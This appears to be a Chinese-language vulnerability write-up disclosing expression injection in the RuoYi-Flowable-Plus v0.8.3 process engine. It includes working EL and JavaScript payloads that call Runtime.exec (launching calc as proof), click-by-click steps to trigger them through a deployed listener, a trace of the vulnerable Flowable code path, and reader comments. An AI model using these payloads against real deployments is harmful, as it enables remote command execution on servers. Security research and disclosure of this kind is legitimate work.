RuoYi-Flowable-Plus 0day表达式注入
RuoYi-Flowable-Plus 0day表达式注入 使用版本:v0.8.3 下载地址:https://gitee.com/KonBAI-Q/ruoyi-flowable-plus 此系统为若依二开的,添加了Flowable流程引擎(Flowable是一个使用Java编写的轻量级业务流程引擎)。 后台存在表达式注入 利用方式 方法一(使用java类): 条件:1.需要公共无参构造函数(因为使
RuoYi-Flowable-Plus 0day表达式注入
使用版本:v0.8.3
下载地址:https://gitee.com/KonBAI-Q/ruoyi-flowable-plus
此系统为若依二开的,添加了Flowable流程引擎(Flowable是一个使用Java编写的轻量级业务流程引擎)。
后台存在表达式注入
利用方式
方法一(使用java类):
条件:1.需要公共无参构造函数(因为使用了newinstance来实列化)
2.需要实现JavaDelegate接口,存在excute函数
满足条件:
类一:org.flowable.engine.impl.test.NoOpServiceTask
添加name表达式: ${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc.exe')}
类二:
org.flowable.engine.impl.bpmn.listener.ScriptExecutionListener
添加一下两个变量,选择表达式,
script:var System = java.lang.Runtime.getRuntime().exec("calc");
language:js
方法二 (使用表达式或者代理表达式):
${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc.exe')}
方法一(使用java类):
条件:1.需要公共无参构造函数(因为使用了newinstance来实列化)
2.需要实现JavaDelegate接口,存在excute函数
满足条件:
类一:org.flowable.engine.impl.test.NoOpServiceTask
添加name表达式: ${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc.exe')}
新建表单并保存,

新增流程分类,

新增流程模型,

点击设计,

点击创建开始事件,并添加监听器,

设置监听器的内容,

在选择我们之前新建的表单,

保存流程,

流程模型新增成功后,需要点击部署,

新建流程点击发起,

随意输入值点击提交,命令执行成功,

类二:org.flowable.engine.impl.bpmn.listener.ScriptExecutionListener
script:var System = java.lang.Runtime.getRuntime().exec("calc");
language:js
将流程模型里面的监听器改为以下内容,

需要点击部署(不然流程模型没有被更改),

新建流程中发起,点击提交成功触发漏洞,

方法二 (使用表达式或者代理表达式):
${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc.exe')}


点击部署后,发起流程,命令执行成功,

解析表达式流程

分析
使用java类(代理表达式分析于java类利用方式相似)
org.flowable.engine.impl.bpmn.listener.ListenerNotificationHelper#executeExecutionListeners

进入createClassDelegateExecutionListener函数,调用create函数,

进入create函数,创建一个ClassDelegate类,并将我们的监听器赋值到此类中,

返回到org.flowable.engine.impl.bpmn.listener.ListenerNotificationHelper#executeExecutionListeners,
执行ClassDelegate类notify函数,




最终执行到defaultInstantiateDelegate函数,实列化我们的监听器,

然后返回到DelegateExecutionListener的构造函数中,

再之后,返回到notify函数,执行notify函数,那么就应该调用的是DelegateExecutionListener类的notify函数,

注意,这里需要满足实现JavaDelegate接口或者ExcutionListener接口,

之后经过一系列函数调用,



最终解析表达式,命令执行成功,


使用表达式
org.flowable.engine.impl.bpmn.listener.ListenerNotificationHelper#executeExecutionListeners
这里直接创建ExpressionExecutionListener类,


然后调用ExpressionExecutionListener类的notify函数,最终解析表达式,命令执行成功,



哥 这种框架里面要怎么分析啊
这个框架里面的触发点
org.flowable.engine.impl.bpmn.listener.ListenerNotificationHelper
这个类最前面是thread起的
方便加个v吗
老哥